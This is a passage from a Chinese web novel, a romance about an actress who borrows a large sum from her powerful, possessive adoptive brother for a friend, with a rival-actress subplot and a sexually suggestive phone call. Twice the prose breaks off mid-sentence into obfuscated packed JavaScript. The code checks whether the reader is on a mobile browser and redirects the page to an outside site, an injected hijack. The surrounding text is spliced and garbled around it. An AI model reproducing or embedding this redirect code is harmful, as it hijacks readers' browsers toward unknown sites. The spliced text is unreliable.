女方的身份很快有网友揭露出来,铭圣国际银行的千金林姝然,知名大提琴家,前阵子刚刚在悉尼举办过个人独奏会。 顾袅垂下眼,关掉了屏幕。 至于新闻,她想,大概率是真的。没他的同意,这种照片发不出来。 这种强强联合的新闻,会让外界认为两家会因为合作,投资前景更好,对股价有利无害。 那天从高尔夫球场回来之后,四天过去,她就一直没睡好觉。项岩磊的话一遍遍回荡在耳边。 甚至连晚上睡觉前闭上眼,眼前都是他狰狞的脸,声嘶力竭地诅咒她和顾宴朝。 他报复项岩磊不足为奇,可他连已经重病的项父也不放过。 可另一道声音又说,他本来就没错,当年是因为她,他才被牵涉其中。她早就知晓他有那一面,暴戾,阴郁,睚眦必报。 他没改,这是本性,也改不掉的。对别人,他从不手软。 这就是顾宴朝的一部分,接受和远离,她当初选择了前者。她还曾经一遍遍地和他强调,做人要善良,绝对不能伤害无辜的人,可项岩磊又并不无辜。 两道声音在脑中不停打架,分不出谁对谁错。 场景又变化成顾宴朝在高尔夫球场里的情形,明明以为已经淡忘了,可突然又成了她的梦魇。 然后是男人伸出手,掐住她的脖子,慢条斯理地问她,当初为什么要背叛他。 他掐着她的脖子,忽然又来吻她。 顾袅毫无疑问地被吓醒了。 如果他们之间能做正常普通的兄妹,她也愿意去维持那样的关系。 她不知道那天男人的举动究竟是什么意思。 他可以掐她,但....为什么要抱她? 翻来覆去今天没睡好后,看到今天的新闻,她反而有种说不出的奇怪感觉。 他要订婚,也许很快就要结婚了。 也对,他是到了该成家的年纪。 所以那天是她想多了。 像是终于松下一口气,可心脏却又有些莫名的压抑。 就在这时,造型师盯着镜子里的人,忍不住感慨出声:“顾老师身材真好。” 丁舒甜在旁边同样一脸骄傲:“是吧是吧,而且我们家袅袅是天生的。脸上可一点针没打过。” 娱乐圈里不少女明星都是隆出来的,圈内人多少都知道。但顾袅这个一看就是天生的,水滴型,不用特意聚拢也十分挺立。 最近为了角色一直在减肥,她人瘦了,那里的弧度却一点没减。 丁舒甜绕着顾袅打量了一圈,也觉得她好像哪里不一样了。 忽然发现了什么,她眼睛一亮,凑近小声问:“你最近是不是二次发育了?” 回神听见她直白的话,顾袅耳根一红:“别瞎说。” 说着,顾袅也忍不住看了一眼镜子里的自己。 她是觉得这几天胸部好像越来越胀,和例假前的感觉差不多,可离她例假的时间还有半个月。 难道是她最近每天心惊胆战,睡不好觉,所以激素失调了? 过几天一定得找个时间去中医院看看。 - 和男主角的一场对手戏结束,顾袅还要换下一场的戏服。 刚回到房车边上,只见东西都被扔了出来,随意堆放在一旁的空地上。 早上她披过的白色开衫被随意扔在地上,沾满了地上的杂草和泥土。 顾袅皱了皱眉,就听见面前响起一道女声。 “老同学见面,顾老师不会这点事情也要计较吧。” 就见房车上走下来一个妆容精致雍容的美丽女人,身上披着H纹的羊绒披肩,里面同样穿着戏服。 盯着她的脸辨认了几秒,顾袅才想起了对方是谁,拧了拧眉。 林嘉然的目光上下打量着她,红唇一勾。 “顾老师就一天的戏份,应该也不用娇贵到专门准备一辆房车休息,阵仗弄得比一线明星都大。那儿不是都有帐篷吗?” 说着,她抬了抬下巴示意那边的方向。 影视基地里,小演员或是群演都在随便支起的帐篷里换衣服,只有主角或是有些财力的演员才能租得起房车。 不远处走来一个带着鸭舌帽的年轻男人,是这部戏的导演许晋。 大概是已经听助理说了大概情况,许晋的脸色也不太好看。 许晋试图开口缓和,沉声道:“嘉然,这辆车是给顾袅的....” 女人双手环抱在胸前,笑容不变:“许导,我说了,今天我的车没来,要是你坚持给她的话,那我就先回去了。” 剧组其他人的视线也纷纷看过来,显然都闻到了敌意和硝烟四起。女明星明里暗里的斗争,在剧组不少见。 但敢做得这么明目张胆的人不多。 周围有人注意到这情况,响起工作人员的窃窃私语声。 “她姐是林姝然,你不知道?早上的新闻没看见?” 论资历,林嘉然入行时间更久,手上握着两部爆剧的流量二线,的确也算得上是前辈,铭圣银行千金,背景不是一般人可以比拟。 早上林家和顾家疑似有联姻意向的新闻一爆出来,林嘉然更有了在娱乐圈里横着走的资本。 除非导演名气够大,否则根本压不住剧组里有背景的演员,导演和编剧照样得按照主演意愿改剧本,最后改成个四不像。 许晋的面色更不好看。 顾袅是他请来的人,本来就是友情出演,有盛柏言这层关系在,他不能让人在这儿受了欺负。偏偏林嘉然又是个有钱有势的主儿。 他正想开口,就听见顾袅在一旁出声道:“算了吧许导,我去那边换,别耽误剧组进度。” 见状,林嘉然似乎是毫不意外她会妥协,轻笑一声,转身进了房车。 许晋面露愧疚,“顾袅,实在对不住。回头等柏言回来,我请你们吃饭,正式给你赔个罪。” 她弯唇笑了笑,安抚道:“不是什么大事,别放在心上。” 等许晋走了,丁舒甜在一旁拳头捏紧,终于忍不住愤愤骂出声:“狗仗人势,欺人太甚。我等会儿就去给认识的记者发微信.....” 顾袅垂下眼,脸上没什么表情:“算了。” 她不和人争执下去,不是因为脾气有多好,有多能忍,她又不是泥人。 在片场因为这些事纠缠不休,耽误的是全剧组人的时间,越闹下去,所有人都要晚下班。 林嘉然是仗势欺人了,如果是别人,或许许晋还能再为她说上几句话。 但现在所有人都心里清楚,她仗的顾宴朝的势。所以没人敢。 娱乐圈是多现实的地方。 丁舒甜当然也看得明白,越是明白她的隐忍是为什么,心里就越是忍不住生气。 - 与此同时,房车上开着暖风,助理小心翼翼地把咖啡和水果端到林嘉然手边,女人眼也没抬。 坐在一旁的经纪人白她一眼,恨铁不成钢的语气说:“你干嘛非得为难她,她现在热度不低,又有盛柏言捧她,万一要是被人传出去,狗仔说你耍大牌欺负人。” 女人美艳的脸上写满不屑:“哪个记者敢写?不要工作了?” 早上的新闻一传出来,多少品牌的代言找上她,好剧本接到手软,甚至不乏美国的知名导演。 之前想都不敢想的资源,现在唾手可得,让多少对家在背地眼红。 婚事甚至都还没板上钉钉,就已经这样。要么说钱权是好东西,她都能连带着沾光。 可惜了,顾宴朝只能是她姐夫。 林嘉然用手把长发撩到肩后,叉起一块水果,不以为意道:“再说了,盛柏言就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504738|170049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一定会娶她?他爸可没那么容易松口。” 经纪人又忍不住提醒:“高奢的代言人选他们也把你纳入考量了,你知道全球代言是个什么分量,考察期里,千万不要再惹事。虽说有顾总是你姐夫,但....” 她又抿了一口烟,讥诮打断:“你不知道她以前有多让人讨厌。” “她爸的事情要是爆出来,你以为她还能在娱乐圈混得下去?做梦。” 那时候,顾袅过得多风光,多让人羡慕。 秦家产业几乎垄断,家里有钱有势,长得漂亮,成绩又好,每天豪车接送上下学,公主似的生活。甚至每天放学还有外校的男生跑到校门口,看她一眼。 那会儿她还和顾袅是同校同学,也听父亲在家里提过顾宴朝的名字。那个年代,文人政官瞧不上商人,商人瞧不上地痞。 她那时以为顾宴朝和她见过的那些街头马仔一样粗鲁低俗,自然是瞧不上的。后来又反复听学校里的女生一直提起他的名字,说他偶尔会出现在校门口。 那天下午她也没忍住好奇心,跟着朋友一起去等着。 那个动荡年代能在燕城混出名堂的人都是什么样子,无非是高大健壮,满背纹身的地痞流氓,满口脏话,粗俗又下流,普通人见到都要躲得远些。 男人的面相显然凶戾残暴沾不上边,和她想象中的完全不同。 他十分年轻,眉骨高挺,肤色白皙。一双狭长上挑的桃花眼,总觉得有几分藏不住的邪气。 周围总有女学生想看又不敢看的目光偷偷落在男人身上,他却好像已经习惯了似的。 直到他拿出打火机点烟,眯起眼睛倚靠在车旁吞云吐雾,才终于显出几分流氓匪气。 很快,就有一个身材娇小的女孩子朝他跑过去,穿着初中部的校服裙,纤瘦白皙。 他是来接女孩子放学的。 不知道女孩同他说了什么,他嗤笑着,“老子抽烟你也管。” 他嘴上这样说,可手上却把烟掐了,接过女孩身上的书包。 经纪人的声音骤然拉回她的思绪:“我听说顾袅团队在接触《绛雪辞》,徐明导演的。” 林嘉然回过神,挑眉:“女一?” “不是,女三,但也算抢手。” 女人思索片刻,轻笑:“那我们也试试。” 不好好攀着顾宴朝,反而和盛柏言跑去英国。现在她的身后还有谁? 普通人身后还有父母撑腰,她顾袅有什么?连个可依靠的家人都没有。 她凭什么和她争? - 下午的拍摄并不顺利,和顾袅对戏的演员频频出错,原本的时间也被一并拖长。 小演员看似诚惶诚恐地道歉,还是出错不停。 顾袅没办法,只能吊着威亚陪着对方一遍遍重来,到了最后,腰上也被磨破了一层皮,火辣辣地疼。 她只能生生忍耐着,在帐篷里换掉了戏服,出来时就看见外面等着的丁舒甜脸色发白,声音也发着抖。 “我出去一趟,让小米陪你下工...” 顾袅觉出不对,担忧追问:“出什么事了?” “没什么事....” “你先告诉我发生什么了。” 丁舒甜被她追问得没办法,只能说实话:“是我爸的公司出事了,他投资被人骗钱,骗了十几个亿,还一直瞒着我和我妈,刚才银行给我打电话,连我的银行卡都被冻结了。” 说着,她苦笑了下,露出的笑却比哭还难看,自嘲道:“还好不是上学时候出的事儿,不然连学费都凑不齐了。” 听见这话,顾袅心里也跟着一沉。 大概解释完情况,丁舒甜没再多说,急匆匆拎着包就走了。 从剧组离开时,外面天色已经黑透,顾袅先让司机送米昕回家。 路上,看出她的状态过于安静,米昕紧张又担心地望着她:“袅袅姐?” “你是不是心情不太好,要不我陪你回去呆一会儿。” 白天演对手戏的几个演员像是中邪了似的,要么忘词要么走错站位,一条戏反反复复拍了六七次,身上还吊着威压,她在旁边看着都累。刚才帮顾袅换戏服的时候,她看见腰上都磨红了一大片,得多疼啊。 顾袅摇头,冲她笑了笑:“我没事,你上去吧。” 米昕以为她是因为白天被林嘉然欺负的事不高兴,可她实际上,她是在担心丁舒甜那边的情况。 对她好的人太少了,丁舒甜是一个。 那时候她刚去读书,身上没有多少钱,只能住在最便宜的房子和街区,附近常有流浪汉出没。 她在中餐馆兼职打工时下班得晚,丁舒甜还会特意开车来接她回家。有一次她发烧到在床上起不来,没人照顾,也是丁舒甜陪在她身边。 别人给她一分温暖,她都想努力还十分,哪怕付出自己,她也不能眼睁睁看着身边的人出事。 就算她现在去医院,也帮不上什么忙。她下午已经把自己的大部分积蓄都转到了丁舒甜的银行卡里,杯水车薪。 十几个亿,向银行贷款也是需要信用评级的,她贷不出那么多钱,解决不了最关键的问题。 腰上破了皮的位置还在隐隐作痛,胸口到了夜里仿佛发涨得更厉害,顾袅轻吸一口气,努力放松身体靠在座椅上,减轻一些疲惫感,细眉依然紧紧拧着,有些喘不上气来。 身边没人能随便拿出那么多钱借给她,除了一个人。 白天的时候她还在想,如果顾宴朝不再来找她,那他们以后不再联系或许就是最好的结果。 他会和谁结婚,都跟她没有任何关系,她会祝他幸福。 但现在情况不同,她可以找盛柏言帮忙想办法。 或者....去求他? 她又要以什么身份找他借钱? 8.第 8 章 夜里近十二点。 位于城市中心的奢华酒店顶楼安静空荡,整层楼都被留了出来,只余了两间总统套房。 林姝然打开房间门,踩着高跟鞋走出来。 隔壁的房间外,几个身材高大魁梧的黑衣保镖站着,还有一个身穿职业装的年轻女人守在门口,是顾宴朝的秘书之一。 刚走到门外,就被女秘书拦了下来。 “抱歉,顾总吩咐了不让人打扰,请您在这里稍等。” 这么晚会有谁在男人的房间里? 心里警铃大作,林姝然的面上却丝毫不显,依然从容优雅。 她微笑着问:“这么晚了,里面是有客人吗?” 女秘书笑容不变,依然没透露一点:“抱歉林小姐,这些不便告知。” 顾宴朝身边的人,嘴严忠诚,无用的话一个字都不多说,更不用提收买。 林姝然心里清楚,顾宴朝这次带她来出差,答应两家联姻,是为彻底拿下北港口码头的实际控制权。 现在所属顾家名下的港口资产接近上百亿美元,涉及到重要运河,每年海运贸易成交量将近全球的百分之四,再加上他本身就在美国拥有一家对冲基金,身份背景敏感,不少人也会在背地怀疑他想控制港口的意图,是否和美国有所牵连。如果再深想下去,也会牵扯到一些复杂的地缘政治因素。 所有人都在揣测他的目的,从利益或是政治角度,但她却想到了一个被人忽视的关键。 燕城的北码头,曾经是秦家的产业。 明明可以跟秦家断得干干净净,他却硬是把那位落魄的大小姐带回了顾家,而后又带去了美国,娇养了几年,什么都给最好的。 非亲非故,他何必这样? 而他这次妥协,真的是为了利益吗? 越想越不安,林姝然又等了许久,才终于进了房间。 总统套房里奢华的风格布置,宽敞明亮,并没有她怀疑的任何女人身影。 黑色真皮沙发上,男人长腿交叠坐在那里,面前摆着酒杯和电脑,解了领带,衬衫的暗金纽扣散开几颗,领口微微敞开来,矜贵冷厉。 心脏上方的那枚弹孔,离心脏近在咫尺,那是枪伤留下的疤痕,可那疤痕非但没有减损美感,反而增添了几分性感。 林姝然的心脏猛然跳起来,听见他低沉的声线:“林小姐这么晚过来,有事?” 他也有一些绯闻,被顶级名模公开示爱,似乎风流名声在外,只是不知道是真是假。 这样的男人,无论在哪个国家,都有人趋之若鹜,没有绯闻才会让人觉得奇怪。 曾经在燕城,她也经常参加那些名媛酒会,在其中受人簇拥。 可那些比起眼前来,过去的一切根本不值一提。 她开始明白为什么顾宴朝不愿意回去接手顾家的那摊生意,因为舞台太小,他看不上。 全球闻名的巨星歌手,只会出现在国际时政新闻上的政客官员,甚至还有S国的财政部长。每个人都要恭恭敬敬地叫她一声林小姐,那些华人贵妇羡艳又嫉妒的目光像是给足了欲望的养分,堪称纸醉金迷的一晚,仅仅是一个晚上,就已经让她有些飘然欲醉。 她当然知道这一切是因为谁,是因为她身边站着的这个男人。 男人的长相从来不是真正的魅力所在,背后的财富权力,才是真正的,让人上瘾的毒药。 她曾经认为自己并不是个虚荣的人,甚至相反的,比起那些名媛千金,她自视甚高。可过了今晚,她才发现自己也和大多数人一样,只是因为她从未曾真正打开过潘多拉的盒子。已经打开了闸门的欲望,再想收回,又谈何容易。 她想要永远拥有这一切,当然前提是,彻底拥有这个男人。 如果是之前还是她和顾青的约定,现在她是真心的。 想嫁给他,成为真正的人上人,这门婚事,她势在必得。 林姝然毫不犹豫地脱掉身上的风衣,解开身上真丝睡袍的带子,顺滑的面料直直滑落至小腿处 ,露出里面V领的吊带睡裙,雪白的胸口,脚上踩着一双红底的黑色高跟鞋。 落地窗里,女人身姿曼妙,脸蛋潮红,膝盖跪在了沙发旁边的地毯上。 她不由自主地靠近他,红唇微动,眼里盈盈波光:“宴朝,我是真的喜欢你...” 男人的身体纹丝不动,居高临下地看着她,深邃的面容在光下晦暗难辨。 他唇角微勾,意味不明道:“说说看,喜欢我什么。” 喜欢他的钱,地位,以及能给她家中带来的帮助。 成年人的喜欢是不能抛开利益的。当然,如果他不是现在的顾宴朝,十年前的他一无所有,她连多看这样的人一眼都不会,纵然他生了一副好皮囊。 对上男人冰冷的眼,林姝然动作一僵,像是被一盆冷水浇了下来,顿时通体生寒,刚才的意乱情迷瞬间消失不见。 他显然看穿了她,又或者说,他早就看穿了他们。她作为顾青的棋子,她们合作谋局,他或许都一清二楚。 他刚才也不是在暗示她,他对她没有欲望,也猜到了她会这样主动献身。 她从男人的眼底看见了讥讽和轻蔑。 他骨子里真实的样子和他在外人面前表现出来的完全不同。 是个彻头彻尾的混蛋。 就在这时,房门被人敲响,没得到里面的准许,邵应拿着手机推门进来。 看见里面的情形,他的脸色不变,走过来将手里的电话递到男人面前,似乎是一通格外紧急重要的电话。 只见男人有些意外地挑了下眉,接起电话,也不在乎她是否还在场。 电话对面,就在顾袅纠结要不要开口时,听见他似笑非笑地问:“哑巴了?” “不说就挂了。” 林姝然怔然看着这一幕,听上去有些不耐烦的态度,灯光下,男人冷戾的神色分明柔和下来,和刚才面对她时截然不同的态度。 她咬紧唇瓣,捡起地上掉落的衣服裹在身上,走了。 电话那头的顾袅听见他说要挂掉,急忙阻止:“别。” 半晌没有开口,是因为觉得难以启齿。 纠结了一整晚,顾袅还是拨通了邵应给她留的号码。 她得帮丁舒甜一起想办法,她做不到看着朋友出事。 顾袅觉得直入主题太突兀,拐着弯地铺垫:“你吃过晚饭了吗?” 他没回答,似乎听出了她有些拙劣的假意关心。 “我有事想跟你说。” 顾袅心一横,咬了咬唇瓣:“是我朋友,她家里最近出了点事情,她爸爸投资失败,公司资金周转出了问题....能不能和你借点钱?可能要十三个亿...” 越说声音越低,细弱蚊鸣。 细细柔柔的声音从电话里传出来,仿佛瞬间抚平了他整晚的烦闷躁动。 男人从沙发上起身,走到落地窗旁,唇角勾得更深。 她从来没主动管他要过钱,不,是借过钱,这是第一次。 顾袅紧张地攥紧指尖,不知道他的沉默是什么意思。 只听见对面轻笑一声,语调漫不经心:“你的朋友,又不是我的,我凭什么借?” 顾袅一噎,急得直接从床上坐了起来:“我会帮她一起还的。” 他忽然又问:“打算怎么还?” 闻言,顾袅一怔,他这是答应了? 还能怎么还?她只能多拍戏赚钱还给他。 没想到他会这么轻易的答应,困扰了她一整天的事情忽然就这样轻描淡写地解决了,顾袅还觉得有些恍惚和飘然。 但能解决就是好事。至少丁舒甜家里的难关能过去,她也算帮上了忙。 心里一块大石头落了地,她趴在床上,握紧了手机,垂下眼睫:“谢谢。” 电话对面,顾宴朝眯起眼睛,声线微沉:“没别的话说了?” 重要的事明明都说完了,顾袅蹙了蹙眉,不明白他什么意思。 但听出他语气莫名有些危险,生怕他又反悔,就想挂掉电话。 “你早点休息..” “等等。” 她一通电话,就要了他十几个亿。 世上哪有那么便宜的事?他当然要收点利息。 顾袅不知道他在想什么,听筒里安静了几秒后,就听到他出声问:“今天干什么了?” 顾袅张了张唇,轻声回:“拍了一部古装戏。” 她不知道他突然问这个是什么意思,但还是老老实实回答。 男人单手抽出刚才没解完的皮带,拉开裤链:“继续说。” 他可能只是想听她说话,随便说什么有的没的。 顾宴朝以前也会这样,在外面出差,深夜突然给她打来一通电话,也不说话,就只是听她说而已。 拿人手短,她当然不能要完钱了就把电话挂了。 顾袅没再多想,只能继续给他讲白天拍戏时的事情,当然跳过了林嘉然那一段。 她不和他诉苦,没有意义。 就算说了,他难道会为了她去欺负未来妻子的妹妹?明明她才是那个和他半点关系都没有的人。 对面许久没人说话,微弱的电流声里,似乎混杂着细微的摩擦声。 寂静的夜里,周围什么声响都没有,男人的低喘声忽然钻进耳朵里,低沉磁性的声线发出的闷哼,在深夜里尤为蛊惑性感。 顾袅指尖一麻,像是被什么烫到了,手机险些从掌心滑落下去。 顿了片刻,似乎连耳根也跟着发痒,热意升腾翻涌。 她努力咽了咽喉咙,纤长的眼睫不停颤动着,指尖抓紧了有些发烫的手机。 呼吸也跟着乱了:“你在做什么?” 男人气息不稳,但还是哑声回:“健身。” 合理的解释,顾袅悄然松下一口气。 是她想多了,如果他真的是和人在做...那个,应该不至于变态到接她的电话。不接就好了,何况对面也没有女人的声音。 她只知道那时在美国顾宴朝每天会早起健身,不知道他什么时候还有了晚上也健身的习惯。 对面粗重的呼吸不停钻入耳膜里,实在不知道说什么好了,顾袅忽然觉得有些口干舌燥。 脑中蓦然想起几年前他们还住在一起的时候。 那时她还在念高中,每天早上去学校前会有厨师备好早饭,他不喜欢有外人在家,厨师和佣人布置好就会暂且离开,稍后再回来清理。 她一个人坐在桌边正在咬着三明治,抬头就看见他从健身房里回来,目光不自觉盯着他看。 男人没穿上衣,就那样赤裸着,阳光照映下依然冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我。” 她呼吸一顿,以为自己听错了,迟迟没反应过来。 愣怔抬头时,发现男人已经换上了衬衫西裤,衬衫就那样随意扎在了西裤里,看上去不那么规整,凌乱不羁的气场。 他一向没多少耐心,连发型每次也都是随便弄弄,露出高挺的眉骨,俊美到无可挑剔的一张脸。 清晨的阳光里似乎隐有什么跳跃着,那双漆黑锐利的眼正直直望着她。 他精致的薄唇勾起弧度,嗓音低沉:“现在高兴了?” 顾袅的心口不觉一跳,眼睛忘了眨,就这样和他对视。 脑中不合时宜地想起上一次顾宴朝去学校接她放学,被学校里的白人女生看见,第二天一堆人把她围住,逼问他的身份,还追问他接不接受one night stand. 看来不管在中国还是美国,大家的审美取向都是一样的。 沉默间,有佣人走过来,告知秘书已经到了,正在客厅里等他。 男人起身,离开前曲指在桌上轻敲了下,留下一句:“东西吃光再去上学。” 后来顾袅才知道,那天下午他原本有一场重要的会面,那阵子顾宴朝在想办法收购一家私人银行,因为临时没去,惹得对方不满,进程被拖慢了许久。 他是以为她那天早上是因为这件事不高兴了,所以爽了约,去参加了那场其实无关紧要的家长会。 突然,电话那骤然传来烟花声响,拉回她的思绪,心跳不知为何有些加快。 顾袅下意识出声:“你在看烟花吗?” 话一出口,她又垂下眼睛,有些自嘲地想,她问得有些多余。 她忘了,他不做那么浪漫的事,或许是陪着别人看。 至于是谁,答案显而易见。 借着烟花燃放的声音,不着痕迹掩藏了男人登顶时的闷哼。 高楼林立,窗外的夜幕接连不断被紫红色的烟火点亮,今夜有烟火秀,距离遥远的地面上无数颗人头攒动着,像细小的蚂蚁聚集在一起。 原本光洁透明的落地窗被喷溅上液体,浑浊不堪,依稀映出男人颀长的身型,上身的衬衫依然完好,从腰腹往下的皮带松垮挂在劲瘦的腰上。 再拿起手机看时,不知道什么时候,她已经把电话挂了,通话时长显示将近两个小时。 他轻嗤,把手机扔回桌上,烟雾逐渐缭绕在深邃的轮廓周围,看不清情绪。 烟花?他会无聊到看那些硫磺硝酸钾混合物? 没问他和林家的婚事,也许是她还没看见。 那么乖,遇到麻烦知道给他打电话要钱。 兜兜转转,她慌乱无助的时候,还是会第一个想到他。 如果今天晚上这通电话不是打给他的,他会让那人死得很惨。 等她能求助的人都死光了,只剩下他。 从船上那夜到今天,七天了,要不了多久,她也会乖乖来求他。 想到刚才电话那头轻软悦耳的嗓音,顾宴朝唇角挑了挑,重新把皮带系好,漆黑深邃的眸底划过一抹暗色。 她敢对着别人这样摇尾巴讨好,他就掐死她。 9.第 9 章 翌日上午,顾袅就去了医院探望。 丁父的病情度过危险期,仍在病房里修养,几天后才能出院。 病房外的走廊里,偶尔有护士经过,空气里弥漫着浅淡的消毒水气味。 丁夫人也长了一张不显年纪的娃娃脸,丁舒甜的梨涡似乎就是从母亲身上遗传来的。 她抓着顾袅的手,哭得红肿的眼中满是感激之色。 “袅袅,这次多亏有你,顾总才愿意帮忙。你放心,钱我们一定尽快还上。” 原本以为会是灭顶之灾,没想到事情一夜之间就生出了转折。 得知愿意帮他们的人竟然是顾家那位,公司那些试图借机捞取股份逼宫,趁火打劫的股东们一时间也都安静下来了,否则她和丁舒甜两个人,实在不知道要怎么应对那群豺狼虎豹。 女人的掌心温暖干燥,顾袅微微晃神,也冲她浅浅笑:“阿姨,您别客气。” 这时,丁舒甜在一旁嘿嘿笑:“妈你别哭了,事情不都解决了吗?等我爸醒了,从头慢慢来,肯定能把钱都还上。” 十几个亿哪里是小钱,丁夫人蹙了蹙眉头,忍不住伸手掐了她一下,嗔怪说:“你这孩子,心这么大。” 走廊里逐渐有其他病人家属经过,见状,丁夫人担忧催促道:“你快送袅袅回去,别再让记者拍到了,回头惹出麻烦来。” 道过别,顾袅出了医院,发现外面天空阴沉,乌云密布,不知何时下起了淅淅沥沥的小雨。 两人刚走到停车场,只听见丁舒甜包包里的手机开始震动。 她接起电话,对面不知说了些什么,甜美的脸上瞬间露出惊喜的表情。 挂掉电话,她一脸欣喜地扭头说:“我刚听人说,林嘉然的代言丢了。” 闻言,顾袅怔了下,抿唇没说话。 缪梵是全球顶尖的高奢品牌,全球代言人寥寥无几,旗下还有很多副线,设计一直走的是高级千金风格,设计不乏一些甜美娇俏的少女元素,林嘉然自入圈以来一直营销的就是富家千金人设,的确和这个品牌形象算得上契合,团队也接触了很久,没想到就这样黄了。 丁舒甜呸了声,觉得大快人心:“听说本来都在拟合同了,她早上去公司签约,结果临场对方反悔了,不知道怎么就吹了。现在大家都在猜记者是不是马上要把她之前虐待助理的事情爆出来了,真活该!” 林嘉然表面性情大度,对人大方,实际上背地里动不动对身边的助理非打即骂,最后拿钱摆平。忌惮她家里的背景,始终没有人敢站出来。 一旦有实锤性的视频证据发出来,必然是怎么洗都洗不掉的污点。 车内安静下来,红灯间隙,丁舒甜琢磨片刻,才慢半拍地觉出不对劲。 “是不是顾总做的?还是盛导?” 昨天林嘉然刚在片场里刷了一通威风,报应就来得这么快?哪有那么巧合的事情。 这几天顾家和林家的婚事闹得沸沸扬扬,丁舒甜当然看得明白,顾袅和那男人的关系不好被太多人知道。 顾袅的父亲和过去,都应该永远被掩埋,一旦被揭开,舆论压力会逼得她不能在这行继续下去。 那么高高在上又身带婚约的顾家掌权人,和一个还没在娱乐圈里站稳脚跟的女演员,应该八竿子打不着才对。 万一传出什么来,也只会是女明星被金主包养之类的丑闻。 她很早之前就试图问过她当年为什么坚持要离开美国,可她始终对这个问题避而不谈。 总是隐约觉得,两个人的关系不只是养兄妹那么简单。 顾袅宁愿一个人在英国吃苦,勤工俭学,也不愿意呆在男人身边过优渥的生活,背后一定有什么隐情。 只是,她不愿意说,谁也不能逼问。 心里不禁叹了口气,丁舒甜的心思又放回到了路况上。 窗外的雨丝仍然淅沥地下着,顾袅扭头看向车窗外,只觉得脑中思绪很乱,心脏处传来些许异样的感觉。 她也不知道答案,但她了解盛柏言,他性情温柔,不会因为一点小事就把人逼上绝路。 就在这时,手机忽而震动一声。 顾袅稳了稳心神,解锁屏幕,发现是邵应发来的一条航班信息,除此之外什么都没说。 顾宴朝回来了,应该是让她去接机的意思? 她应该减少和他见面的频率,一是害怕被记者拍到,其次就是,他要结婚了,所有人都把她和盛柏言的关系默认成了男女朋友。 如果被人拍到乱写什么,她承担不起后果。 正好刚去过医院,随便编一个生病了的借口就好了。 打定了主意,顾袅思编辑好一条消息回复过去。 消息发出去之后,一整个下午都没有回复,她开始还在忐忑不安,担心男人相信了没有,后来回到家里看一些新发过来的剧本,逐渐就把这件事抛在了脑后。 她看得专注,不知过了多久,窗外的阳光忽而出来了。 顾袅揉了揉有些僵硬的脖颈,才发现已经到了落日时分,中午还阴云密布的天空放了晴,橙红色的半轮太阳在高楼间影影绰绰。 她忽然想起离开顾宴朝身边的那一晚。 当初没离开前,她也会恐惧,离开他以后,自己要怎样生活。 可当她真的坐在离开的飞机上时,望着舷窗外飘渺自由的云霞,初升的朝日镀上橙红色的光芒,倒映在眼底。 她甚至觉得,她还能走得更远。 拿起手机,发现是盛柏言打来的电话。 男人清润的嗓音从听筒里传来,语气温柔:“袅袅,你在家吗?” “有空的话,能不能过来找我?我现在还在应酬,暂时抽不开身去找你。” 顾袅这才想起,他今天也回了燕城。 和顾宴朝是同一天。 盛家的司机已经等在楼下,送她到了一家燕城的高端私人会所,是严密的预约制,能在这里应酬的客人身份大多是政客或者叫得上名字的富豪商人,因此也不需要担忧在里面会被记者偷拍到。 很快有侍者将她带入,会所装修古雅,几道屏风间隔出公共区域的等候空间。 还没坐多久,顾袅就听见不远处的走廊传来脚步声。 男人穿了件浅灰色风衣,深色高领毛衣,身型修长,面容清隽俊朗,双手插在风衣口袋里,俨然是风度翩翩的清贵公子,引得一旁端着托盘路过的女侍者也忍不住频频侧目。 他的步伐走得很快,似乎是怕她等久了。 等他走近,顾袅闻到一股淡淡的酒气。 他语带歉疚,关切目光落在她的脸上:“抱歉,这么晚还让你出门。外面冷不冷?” 顾袅摇摇头,对他温柔笑道:“司机送我来,又不是我自己来的。” 盛柏言低笑一声,在她身旁的沙发上坐下。 距离亲密,但并不冒犯。 男人身上的雪松味道淡淡侵袭而来,顾袅忽而恍惚了下,脑中不合时宜地冒出那天下午在高尔夫球场的画面。 顾宴朝身上的气息和他截然不同,危险,滚烫的,充满侵略性,像是下一刻就快要把她吞噬。 这时,他低声又道:“我听说了丁舒甜家里的事,下午回来之后先去了医院。怎么没第一时间告诉我?” 顾袅回过神,有些不知道怎么回答,只能岔开话题:“你最近不是在忙吗。” 他语气忽而变得认真:“和你有关的事比那些重要。” 她一怔,抬眸的瞬间,撞进男人温柔的眼底。 视线交汇的刹那,从她的清澈见底的眼中看见自己的倒影,盛柏言亦有些分神。 想起第一次见她,是在纽约,学校课后的社区活动,地处贫民区的学校,多数华人富家子弟不愿意去的地方,里面的学生也大多是有色人种的小孩。对于申请大学来说,这项活动浪费的时间和得到的好处不成正比,因此更加没人愿意来。 一道纤细瘦弱的身影蹲在那里给小朋友分发糖果,发丝垂在耳边,在一群黑色皮肤小孩子的包围下,皮肤白得发光,背脊笔直。 他早年就是童星出身,比大部分人接触社会的时间都要早,见过太多人,无论是娱乐圈里,还是学校里。妖娆妩媚的女明星,还是明艳动人的千金名媛,从中国到美国,百花齐放。 不知那小孩子对她说了什么,女孩一边笑着,一边把发丝拢回耳后,露出小巧白皙的侧脸,清丽的眉眼。 那一瞬间,世界黯然失色,他的心跳仿佛漏了一拍。 后来通过身边的朋友四处打听,他才知道她在那所顶级私立女校上学,每周都会来这所贫民区的小学当助教。她不像那些纽约的名媛千金一样娇衿。 还是那个近两年闻名华尔街的华人天才,顾宴朝的妹妹。 